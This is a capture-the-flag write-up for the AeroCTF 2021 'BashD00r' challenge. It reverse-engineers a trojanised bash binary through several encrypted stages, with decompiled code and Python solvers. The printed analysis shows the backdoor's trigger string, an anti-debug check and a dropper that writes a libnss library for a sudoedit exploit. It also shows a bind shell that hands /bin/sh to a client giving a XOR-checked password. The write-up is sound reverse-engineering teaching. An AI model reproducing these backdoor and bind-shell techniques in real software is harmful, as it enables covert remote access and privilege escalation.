[AeroCTF 2021 - RE] BashD00r
Aero CTF 2021 - BashD00r (500 pts)
This is the second challenge I was able to solve, and the hardest one. The task is below:
There seems to be something wrong with our bash.
Can you see if anyone has entered the backdoor?
bash.7z
So we are given a archive, which contains a “bash” binary. This binary was backdoored, so we need to find it to get the flag.
Bash backdoor, Pt. I
While opening the file on IDA, the entry point isn’t disassembled correctly. The entrypoint is placed straddling the “.text” and the “.data” section. After defining the instructions on the data section, we can locate the “main” function:
_data segment dword public 'DATA' use64
.data:000000000001ECA2 assume cs:_data
.data:000000000001ECA2 ;org 1ECA2h
.data:000000000001ECA2 db 1Eh
.data:000000000001ECA3 db 0FAh
.data:000000000001ECA4 ; ---------------------------------------------------------------------------
.data:000000000001ECA4 xor ebp, ebp
.data:000000000001ECA6 mov r9, rdx
.data:000000000001ECA9 pop rsi
.data:000000000001ECAA mov rdx, rsp
.data:000000000001ECAD and rsp, 0FFFFFFFFFFFFFFF0h
.data:000000000001ECB1 push rax
.data:000000000001ECB2 push rsp
.data:000000000001ECB3 lea r8, __libc_csu_fini
.data:000000000001ECBA lea rcx, __libc_csu_init
.data:000000000001ECC1 lea rdi, main
.data:000000000001ECC8 call cs:off_11EF38
.data:000000000001ECCE hlt
.data:000000000001ECCF
The main function is huge, thanks to inlined static functions. But we can quickly see that the main function belongs to the “shell.c” file thanks to some debug function, that look like this:
.data:00000000000206A5 call set_default_locale
.data:00000000000206AA call getuid_0
.data:00000000000206AF mov ebx, eax
.data:00000000000206B1 cmp eax, cs:cur_user__uid
.data:00000000000206B7 jz short loc_20731
.data:00000000000206B9 mov rdi, cs:cur_user__username
.data:00000000000206C0 test rdi, rdi
.data:00000000000206C3 jz short loc_206D6
.data:00000000000206C5 mov edx, 1642
.data:00000000000206CA lea rsi, aShellC ; "shell.c"
.data:00000000000206D1 call print_free
So I downloaded the bash 5.1 source tarball (the version can be identified easily thanks to program’s strings), and looked at this file. But the corresponding snippet in bash source
u = getuid ();
if (current_user.uid != u)
{
FREE (current_user.user_name);
is located at line 1292 instead of 1642. So we can tell that the binary has been recompiled from the source with the backdoor injected. I spent some time to identify the file’s function, and came across this function that doesn’t have anything looking like this in its sources:
v26 = __readfsqword(0x28u);
v0 = (_QWORD *)sh_malloc(4096LL, "shell.c", 587LL);
v0[511] = 0LL;
memset(
(void *)((unsigned __int64)(v0 + 1) & 0xFFFFFFFFFFFFFFF8LL),
0,
8LL * (((unsigned int)v0 - (((_DWORD)v0 + 8) & 0xFFFFFFF8) + 4096) >> 3));
*v0 = 0xDBEF3510A9ECE437LL;
v0[1] = 0xB557D3ED25ADEB3FLL;
*((_BYTE *)v0 + 16) = 40;
decrypt_string(v0, 17);
v1 = fopen_0(v0, "r");
if ( !v1 )
exit_0(0LL);
v2 = v1;
v3 = sh_malloc(1024LL, "shell.c", 645LL);
v4 = 8;
This function is called as an init vector by __libc_csu_init
, before main
function is called. The backdoor checks if bash is being debugged by looking for TracerPid field in /proc/self/status
. The strings are encrypted with a simple algorithm, I reimplemented in Python.
def decryptbuf(s):
outpt = b""
key = 24
for i in range(len(s)):
outpt += bytes([s[i] ^ key])
key = (4*key + 52) % 243
return outpt
Then it checks if /home/anon/.profile
file exists, and exits if it’s not the case. After that, the backdoor tries to read 32 bytes from /proc/self/fd/777
.
Now, the real fun begins.
Custom crypto and Feistel ciphers
The contents of /proc/self/fd/777 is transformed by some encryption algorithm, and then checked against the ciphertext. The decompiled algorithm looks like this:
mysterious_array[0] = 0xE9B554BCBF7A0351LL;
mysterious_array[1] = 0x200A845B757AFF88LL;
mysterious_array[2] = 0x392848A34339A3EELL;
mysterious_array[3] = 0x21F8E1C664355C7CLL;
v9 = strlen((const char *)buffd) + 1;
bufread = (char *)buffd;
// snipped some uninteresting parts
count = 0LL;
while ( 1 )
{
v17 = count;
if ( strlen(bufread) <= count )
break;
seed1 = *(_DWORD *)&bufread[count];
seed2 = *(unsigned int *)&bufread[count + 4];
watconst2[0] = 1361583988;
watconst2[1] = -1740780829;
watconst2[2] = -1681248625;
watconst2[3] = -1992688973;
j_1 = 0;
while ( 1 )
{
v14 = seed1 + watconst2[j_1 & 3] + seed2 + j_1 + (((unsigned int)seed2 >> 8) ^ ((_DWORD)seed2 << 6));
++j_1;
seed1 = seed2;
if ( j_1 == 48 )
break;
seed2 = v14;
}
count += 8LL;
if ( mysterious_array[v17 / 8] != (seed2 << 32) + v14 )
{
print_free(watconst, "shell.c", 563LL);
goto LABEL_10;
}
}
By looking at the final check mysterious_array[v17 / 8] != (seed2 << 32) + v14
, we can see that fhe first 32 upper bytes of the “mysterious_array” are the “state2”, untouched, while the 32 lower bytes are computed with the “state2”.
The encryption algorithm does 48 rounds of the following transformation (reimplemented in Python), where j is the round number:
def do_feistel_pass(j, seed1, seed2):
tmp = (seed1 + watconst[j & 3] + seed2 + j + ((seed2 >> 8) ^ ((seed2 << 6) & 0xffffffff))) & 0xffffffff
return (seed2, tmp)
def encrypt_data(x):
seed1, seed2 = struct.unpack("<II", x[0:8])
for j in range(48):
seed1, seed2 = do_feistel_pass(j, seed1, seed2)
return (seed1, seed2)
This algorithm can be inverted, since we know seed2 thank to the way it’s compared to the “mysterious_array”. We just need to take care of additions, which are truncated to 32 bits, which discards the additions overflow. So, the decryption function looks like this:
def undo_feistel_pass(j, seed2, tmp):
while True:
blup = watconst[j & 3] + seed2 + j + ((seed2 >> 8) ^ ((seed2 << 6) & 0xffffffff))
pass1 = tmp - blup
if pass1 > 0:
break
tmp += 0x100000000
return (pass1, seed2)
def decrypt_data(x):
seed2, tmp = ((x >> 32), x & 0xffffffff)
for i in range(47, -1, -1):
seed2, tmp = undo_feistel_pass(i, seed2, tmp)
return struct.pack("<II", seed2, tmp)
So, after running it on our “mysterious_array” variable:
bufd = b""
for i in range(0, 32, 8):
bufd += do_unhash_block(mysterious_array[i >> 3])
We get the string that unlocks the “first” backdoor, and will serve as a key for the next step: eY3HmR6knwflbc1nsq0ILP9KZYQ8DTn
.
The next steps decrypts another ELF file with some sort of Salsa20 (thanks the magic consts), but I gave up analyzing it and just dumped the decrypted bin with gdb from a coredump after having patched the binary with int3 instruction after.
Analysis of the second stage
The second stage uses the same trick used by the “bash” binary, which places a part of entrypoint on the “.data” section. The main function just calls the decryption function with argv[1]. The decryption function looks like this:
__int64 __fastcall do_the_hustle(char *serial)
{
__m128i *key; // rbp
_QWORD *v2; // r12
_QWORD *v3; // r13
serial[31] = 0;
key = (__m128i *)calloc_0(4096LL, 1LL);
*key = _mm_load_si128(xmmword_5060);
key->m128i_i8[0] ^= 0x18u;
key->m128i_i8[1] ^= 0x94u;
key->m128i_i8[2] ^= 0x9Eu;
key->m128i_i8[3] ^= 0xC6u;
key->m128i_i8[4] ^= 0x73u;
key->m128i_i8[5] ^= 0x1Au;
key->m128i_i8[6] ^= 0x9Cu;
key->m128i_i8[7] ^= 0xBEu;
key->m128i_i8[8] ^= 0x53u;
key->m128i_i8[9] ^= 0x8Du;
key->m128i_i8[10] ^= 0x82u;
key->m128i_i8[11] ^= 0x56u;
key->m128i_i8[12] ^= 0x99u;
key->m128i_i8[13] ^= 0xB2u;
key->m128i_i8[14] ^= 0x23u;
key->m128i_i8[15] ^= 0xC0u;
v2 = (_QWORD *)malloc_0();
v3 = (_QWORD *)malloc_0();
serpent_encrypt(serial, (__int64)key, (__int64)v2, 0x10u);
if ( *v2 ^ 0x9601AAF388AB0192LL | v2[1] ^ 0x2127591BB4E06735LL )
return send_backdoor_status(0);
serpent_encrypt((_DWORD *)serial + 4, (__int64)key, (__int64)v3, 0x10u);
if ( *v3 ^ 0x582C4E2FDC6C7226LL | v3[1] ^ 0xC00B8862110C7A9DLL )
return send_backdoor_status(0);
send_backdoor_status(1);
free_0(v2);
return free_0(v3);
}
The Serpent encryption key is just “Dh1IuM7SV7xgZP8q” with some XOR obfuscation. The “hard” part was to identify correctly the algorithm, mais thanks to the secret technique of searching S-Boxes on Google, I came across a chinese blog (https://ctf.njupt.edu.cn/271.html), that contained the interesting S-Box
0x03, 0x08, 0x0F, 0x01, 0x0A, 0x06, 0x05, 0x0B, 0x0E, 0x0D`
This blog gave the CTF challenge’s name it was taken from (“Touch of Satan”), and thanks to my OSINT skills, I found another chinese blog (https://blog.csdn.net/qq_38867330/article/details/102922423) that identified it as Serpent.
So I grabbed some ancient Python2 Serpent lib, tweaked it to make it run on Python 3, and after running
import serpent
z = serpent.Serpent(b"Dh1IuM7SV7xgZP8q")
bin = struct.pack("<QQQQ", 0x9601AAF388AB0192, 0x2127591BB4E06735, 0x582C4E2FDC6C7226, 0xC00B8862110C7A9D)
print(z.decrypt(bin))
I got the key 0NSlH7m8C91boiGq10NtQKq4aP7mVyJ
Bash backdoor Pt. II
Since the previous binary does nothing except sending flag status through a FIFO pipe, we need to find another part of the backdoor in the bash binary.
After losing time digging into the binary (which probably costed me the first blood for this challenge 😥), I found some getenv("JAKWEULOD")
in the binary, that isn’t present into official bash source code.
The function doing the getenv is called at the beginning of the “parse_and_execute”, patched to run the backdoor. Let’s have a look to the added code:
v3 = backdoor_enabled;
if ( backdoor_enabled )
{
if ( ~(strlen((const char *)a1) + 1) == ~0x29uLL && !(unsigned int)memcmp_0(a1, "1+2+3+4+5", 9LL) )
{
((void (__fastcall *)(__int64))(v3 + 91))(a1 + 9);
v6 = sh_malloc(4096LL, "evalstring.c", 194LL);
*(_QWORD *)(v6 + 4088) = 0LL;
// v6 = mkfifo path from the other binary, snipped bc noisy string obfu
mkfifo_0(v6, 438LL);
v9 = open_0(v6, 0LL);
buf[0] = 0LL;
buf[1] = 0LL;
read_0(v9, buf, 1);
close_0(v9);
print_free(v6, "evalstring.c", 511LL);
if ( LOBYTE(buf[0]) == 1 )
{
xmmword_14F320 = (__int128)_mm_loadu_si128((const __m128i *)(a1 + 9));
qword_14F330 = *(_QWORD *)(a1 + 25);
dword_14F338 = *(_DWORD *)(a1 + 33);
word_14F33C = *(_WORD *)(a1 + 37);
byte_14F33E = *(_BYTE *)(a1 + 39);
backdoor_activation((const char *)(a1 + 9));
}
}
The backdoor is triggered when entering “1+2+3+4+5” followed by the string we found before. The ((void (__fastcall *)(__int64))(v3 + 91))(a1 + 9)
function spawns the decrypted binary we analyzed thanks to a memfd, with the string we got as a parameter. So we can trigger the code with the command
1+2+3+4+50NSlH7m8C91boiGq10NtQKq4aP7mVyJ
With that, we can reach backdoor_activation
which call some crypto func with 0NSlH7m8C91boiGq10NtQKq4aP7mVyJ
as key to decrypt the function which will check the “JAKWEULOD” variable environment:
void __fastcall backdoor_activation(const char *key)
{
__int64 v1; // rbp
const char *v2; // rax
const __m128i *v3; // rbx
v1 = mmap_0(0LL, 98323, 7, 34, 0, 0);
cryptoshit_again((__int64)key, (__int64)&unk_12B000, v1, 98323LL, strlen(key));
v2 = (const char *)getenv("JAKWEULOD");
if ( v2 )
{
v3 = (const __m128i *)v2;
if ( ~(strlen(v2) + 1) == ~65LL && ((unsigned int (__fastcall *)(const char *))(v1 + 143))(v2) == 1 )
{
kk1 = (__int128)_mm_loadu_si128(v3);
xmmword_14F430 = (__int128)_mm_loadu_si128(v3 + 1);
xmmword_14F440 = (__int128)_mm_loadu_si128(v3 + 2);
unk_14F450 = _mm_loadu_si128(v3 + 3);
sub_89675();
fork_and_spawn();
}
}
munmap_0(v1, 98323LL);
}
Since I’m lazy, I attempted to patch the binary with an “int3” breakpoint, but bash sets up its own sighandler and catches int3, so I landed in to the sighandler func.
To avoid this, I replaced the “int3” by a “jmp $0” ("\xeb\xfe\"
), and dumped the content of the allocated buffer after calling the crypto function after attaching to the process with gdb.
The allocated buffer is called as function to check “JAKWEULOD” contents: ((unsigned int (__fastcall *)(const char *))(v1 + 143))(v2)
.
The checking algorithm is pretty simple: it does a modular exponentiation on each char of the variable and check if the results equals a certain value. Unfortunately the modulus isn’t a prime number, but since the modulus is small we can do dumb bruteforce to determine the correct char:
def bf_char(n, p, res):
selected = -1
for i in range(0x10, 0x7f):
if pow(i, n, p) == res:
if selected == -1:
selected = i
else:
print("Other candidate %d" % i)
return selected
I was too lazy to make a script to extract the exponent, modulus and the powmod value so I did by hand (fortunately b33r helps to do boring tasks) to compute the JAKWEULOD value. So after running the script which looks like this:
def bf_char(n, p, res):
selected = -1
for i in range(0x10, 0x7f):
if pow(i, n, p) == res:
if selected == -1:
selected = i
else:
print("Other candidate %d" % i)
return selected
flag = bytearray(b"-"*65)
elts = [
(0x7b7bc, 0x3fa, 0x6af18, 4),
(0x3fbeb, 0x2a1, 0xd56d, 0xd),
# snipped
(0x3dbca, 0x377, 0x5de6, 0x10)
]
for e in elts:
c = bf_char(e[1], e[0], e[2])
#print(hex(e[3]))
flag[e[3]] = c
print(len(elts))
print(flag)
pos = [hex(i) for i in range(len(flag)) if flag[i] == ord("-")]
print(pos)
we get the correct value for the env var: mIB8vFxWAQ5RkO7MXzDKnjTbYIdbwQQbxSyU6XvIoS39zmdKrHHCOevfUt5oBDZh
.
As usual, this value is a key to decrypt the next payload, but once again the jmp $0
trick will help us and we can dump the “final” stage:
void fork_and_spawn()
{
__m128i *key; // rbx
__int64 v1; // rax
_BYTE v2[1648]; // [rsp-1CF8h] [rbp-DD10h] BYREF
__int64 v3; // [rsp-1688h] [rbp-D6A0h] BYREF
_QWORD v4[5841]; // [rsp-688h] [rbp-C6A0h] BYREF
while ( &v3 != &v4[-6144] )
;
v4[5631] = __readfsqword(0x28u);
memcpy_0(v2, &unk_ECB08, 50784);
key = (__m128i *)sh_malloc(64LL, "evalstring.c", 401LL);
key->m128i_i64[0] = 0LL;
key->m128i_i64[1] = 0LL;
key[1].m128i_i64[0] = 0LL;
key[1].m128i_i64[1] = 0LL;
key[2].m128i_i64[0] = 0LL;
key[2].m128i_i64[1] = 0LL;
key[3].m128i_i64[0] = 0LL;
key[3].m128i_i64[1] = 0LL;
*key = _mm_load_si128((const __m128i *)&xmmword_14F220);
key[1] = _mm_load_si128((const __m128i *)&xmmword_14F230);
key[2] = _mm_load_si128((const __m128i *)&xmmword_14F240);
key[3] = _mm_load_si128((const __m128i *)&xmmword_14F250);
v1 = sh_malloc(50784LL, "evalstring.c", 404LL);
cryptoshit_again((__int64)key, (__int64)v2, v1, 50784LL, 64LL);
while ( 1 ) // jmp $0 rocks :þ
;
}
We finally see the end of the tunnel, and dump the dropped ELF with gdb after attaching to the process.
Final flash
After having dumped the ELF, we open it on IDA. This time, no weird tricks and IDA shows us the main function directly. The main function is useless because it just calls “sudoedit” with shitty arguments.
But remember, init functions can be called by __libc_csu_init
, and it’s the case here. We have a setup
function, which does this:
int __fastcall setup(__int64 a1, __mode_t a2)
{
FILE *s; // [rsp+8h] [rbp-8h]
FILE *sa; // [rsp+8h] [rbp-8h]
mkdir("libnss_X", a2);
s = fopen("libnss_X/A .so.2", "w");
fwrite(&libData, 1uLL, 0x4080uLL, s);
fclose(s);
sa = fopen("/tmp/shellbind", "w");
fwrite(&shellData, 1uLL, 0x4300uLL, sa);
return fclose(sa);
}
Luckily for me, I analyzed the “shellbind” binary, and after seening its main function:
bind(fd, &addr, 0x10u);
listen(fd, 0);
v8 = accept(fd, 0LL, 0LL);
v9 = recv(v8, buf, 0x28uLL, 0);
if ( buf[v9 - 1] == 10 )
buf[v9 - 1] = 0;
for ( i = 0; i <= 37; ++i )
buf[i] ^= 0x59u;
if ( !strcmp(buf, &unk_2008) )
{
dup2(v8, 2);
dup2(v8, 1);
dup2(v8, 0);
execve("/bin/sh", 0LL, 0LL);
}
I found the password of the backdoor:
s = bytes.fromhex("183C2B36226D603B6861686A616E3F6C69606A6C3B6A60386969616C693B6E6E613A6F6F3F24")
print(bytes([x ^ 0x59 for x in s]))
Which gives us the flag: Aero{49b181387f50935b39a00850b778c66f}